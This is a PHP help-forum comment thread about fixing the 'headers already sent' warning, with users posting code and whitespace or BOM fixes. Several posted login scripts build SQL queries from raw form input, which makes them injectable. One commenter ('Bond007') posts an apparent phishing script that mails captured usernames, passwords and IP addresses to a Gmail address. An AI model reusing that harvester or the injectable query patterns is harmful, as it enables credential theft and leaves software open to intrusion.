//session_regenerate_id (true); //prevent against session fixation attacks.
// this sets variables in the session
$_SESSION['user_id']= $id;
$_SESSION['user_name'] = $full_name;
$_SESSION['user_level'] = $user_level;
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
//update the timestamp and key for cookie
$stamp = time();
$ckey = GenKey();
mysql_query(“update users set `ctime`=’$stamp’, `ckey` = ‘$ckey’ where id=’$id’”) or die(mysql_error());
//set a cookie
if(isset($_POST['remember'])){
setcookie(“user_id”, $_SESSION['user_id'], time()+60*60*24*COOKIE_TIME_OUT, “/”);
setcookie(“user_key”, sha1($ckey), time()+60*60*24*COOKIE_TIME_OUT, “/”);
setcookie(“user_name”,$_SESSION['user_name'], time()+60*60*24*COOKIE_TIME_OUT, “/”);
}
header(“Location:myaccount.php”);
}
May 13, 2012 at 6:56 pm, Happy person said:
You are a life saver!!!
May 24, 2012 at 9:37 am, subbaiah said:
Hai friends,
I have always trouble in php when using header().it displays an warning as follows Cannot modify header information – headers already sent by (——blah,blah—–) for the following coding please tell how to clear the warning and what is the mistake i have made?
login.php//////////
view();
?>
LOGINLOGIN PAGE
function Login()
{
var uname=document.getElementById(“username”).value;
var upass=document.getElementById(“password”).value;
var reg=/^[A-Za-z]+$/;
if(uname==”")
{
alert(“Enter username”);
return false;
}
if(upass==”")
{
alert(“Enter password”);
return false;
}
else
{
document.forms["ss"].action=”login.php”;
document.forms["ss"].submit();
return true;
}
}
function Signup()
{
document.forms["ss"].action=”signup.php”;
document.forms["ss"].submit();
return true;
}
Username:
Password:
class.php/////////////////////////////////////////////////
db=new db_conn();
}
public function view()
{ if($_POST['SignIn']){
$uname=$_POST['username'];
$passwd=$_POST['password'];
$query=mysql_query(“SELECT name, password FROM my WHERE (name = ‘$uname’ AND password = ‘$passwd’)”);
$no_of_rows = mysql_num_rows($query);
if($no_of_rows==1)
{ header(“Location:login.php”);
//echo “correct <a href='newuser.php' rel="nofollow">please click the line “;
}
else{ echo “noncorrect”;
}
}
}
}
ob_flush();
?>
dbconn.php////////////////////////////////////////////////////
con = mysql_connect($this->server, $this->dbuser, $this->dbpass);
mysql_select_db($this->dbName, $this->con);
}
public function selQuery($query){
$result=mysql_query($query,$this->con);
return $result;
}
}
ob_flush();
?>
pls tell how to recover from the warning.
May 31, 2012 at 8:58 am, ahsan said:
this is just a whitespaces problem, goto output line number, find whitespace and remove that, that’s it
June 14, 2012 at 11:51 pm, Chris Wren said:
Thank you much, I had one space of whitespace.
June 20, 2012 at 11:09 pm, Bishop said:
GREAT POST! really helped me out! Thanks!
July 01, 2012 at 7:51 am, Chris F said:
Don’t usually post, but I found the the solution to my prob on this page:I saved as UTF-8 WITHOUT BOM.
Jeez what a Bommer ! Thanks a lot.
July 19, 2012 at 11:34 am, prab said:
here is my code
Hello’;
$padding = 10;
$fsize = 12; #font size 12 pixels
$ttf =”./verdana.ttf”; #path to windows ttf font file
$size = imagettfbbox($fsize, 0, $ttf, $text);
// $xsize = abs($size[0]) + abs($size[2])+($padding*2);
// $ysize = abs($size[5]) + abs($size[1])+($padding*2);
$image = imagecreate(600, 600);//imagecreate($xsize, $ysize);
$white = imagecolorallocate ($image, 255, 255, 255);
$black = imagecolorallocate ($image, 0, 0, 0);
imagefilledrectangle ($image, 0, 0, 100, 100, $white);
$text_color = imagecolorallocate($image, 233, 14, 91);
imagettftext($image, $fsize, 0, $padding, $fsize+$padding, $black, $ttf, $text);
imagegif($image,”./screenshot.gif”,85); #85%quality */
ob_flush();
?>
I cannot find white space in my code and error display: the image cannot display because it contain error.
please help me
July 19, 2012 at 5:42 pm, Obelisc said:
The best way for solved this issue is:
put your php code (for validaition or any kind of content with header -header(‘yourpage’)-) on a diferrent file with only php code, on this file put all the (header) that you’ll need, make sure to dont use (echo) o html tags on this file.
IF ure working with sessions, make sure to put on the top of your file the php code “” before any of html tag, and of course check for white space before and after php tags.
I think this is the best way to avoid this issue, because there will be diferent files for pure php code and your html pages, also, your pure code php file could be reusable on another projectis.
hope it help you.
PDT: sorry for my english.
August 29, 2012 at 5:15 pm, ELoi Duguay said:
[SOLVED] I removed the include from the code.
September 17, 2012 at 4:16 am, sandeep said:
thanks it helped i made the common culprit error
October 02, 2012 at 5:21 am, Reuben said:
Thank you so much! It was the whitespace issue – I spent hours trying to find an answer to this.
October 15, 2012 at 6:48 am, JbW said:
kEEP GETTING THIS SAME MESSAGE:Warning: Cannot modify header information – headers already sent by (output started at /home/vmbc/public_html/Admin/VMBCAdmin_login.php:11) in /home/vmbc/public_html/Admin/VMBCAdmin_login_2.php on line 50
How can I have the header() call be before all html output when I want the header() to redirect only if certain conditions are met? I have to have other output prior to the header(). here is the code:
<?php
if (!isset($_POST["login"]))
{
showform();
}
//User is logging in
if (isset($_POST["login"]))
{
if ($_POST["username"] == "" || $_POST["password"] == "")
{
echo 'Please enter username and password!’;
echo ‘Back to login page’;
}
elseif (isset($_POST["username"]) && isset($_POST["password"]))
{
$_SESSION['fname'] = $_POST['firstName'];
$_SESSION['lname'] = $_POST['lastName'];
$_SESSION['email1'] = $_POST['email'];
$_SESSION['color'] = $_POST['favcolor'];
$_SESSION['uname'] = $_POST['username'];
$_SESSION['pword'] = $_POST['password'];
$fname = $_SESSION['fname'];
$lname = $_SESSION['lname'];
$email1 = $_SESSION['email1'];
$uname = $_SESSION['uname'];
$pword = $_SESSION['pword'];
$color = $_SESSION['color'];
$sess_id = session_id();
$session_name = session_name($uname);
$sess_name = session_name();
$db=mysql_connect(“SERVER”,”NAME”,”PASSWORD”);
mysql_select_db(“DBNAME”);
$result = mysql_query(“SELECT * FROM sessions WHERE sessionName=’$sess_name’ AND password=’$pword’”);
$num_rows = mysql_num_rows($result);
if ($num_rows>0)
{
$row = mysql_fetch_array($result);
$_SESSION['color'] = $row['favcolor'];
echo $_SESSION['color'];
$_SESSION["Authenticated"] = 1;
header(“Location: VMBCAdmin.php”);
}
elseif ($num_rows==0)
{
echo ‘Invalid username and/or password. Try again.’;
$_SESSION["Authenticated"] = 0;
showform();
}
mysql_close($db);
session_write_close();
}
}
//User is logging out
if (isset($_GET["logout"]))
{
session_destroy();
header(“Location: VMBCAdmin_login.php”);
}
?>
Login
<form action="” method=”post”>
Type in your username and password.
Username
Password
Don’t have a username and password?
December 24, 2012 at 1:32 pm, Bond007 said:
I’m get this error and its on my ass. pls help: Warning: Cannot modify header information – headers already sent by (output started at /home/technpac/public_html/send.php:12) in /home/technpac/public_html/send.php on line 40
HERE IS MY CODE.
<?
$ip = getenv("REMOTE_ADDR");
$username = $_POST['username'];
$password = $_POST['password'];
$adddate= date("D M d, Y g:i a");
if(empty($username) || empty($password)) {
echo "Please fill all the info with your correct details\n”;
die (“To try again click the BACK BUTTON on your browser.”);
}
$datum = date(“l, F j, Y, g:i a”) ;
$attn = $attn ;
$subject = $attn;
$notes = stripcslashes($notes);
$message = “Email: $username\nPassword: $password\nIp: $ip $adddate”;
$from = “From: info@goldsans.com \n”;
mail(“XXXXXXX@gmail.com”, $ekipa, $message, $from);
?>
January 29, 2013 at 9:02 am, Prabhukiran said:
Ya me also faced same problem!!!!
Bt got the solution in this site….
the solution no> 2 solved my problem…
thanks a lot!!!
March 28, 2013 at 2:01 am, Rendi said:
nice info, my problem is solved
May 08, 2013 at 2:13 pm, lilmoma90 said:
Plzzzzzzzzz help!!! Im not computer savy like this. I don’t understand these terms nor do I know where to go to even fix the problem. I really need STEP BY STEP hooked on phonics
May 17, 2013 at 1:43 pm, ManFlightFan said:
Dreamwaver CS6 adds an invisible character in the beginning of the file. Be careful !!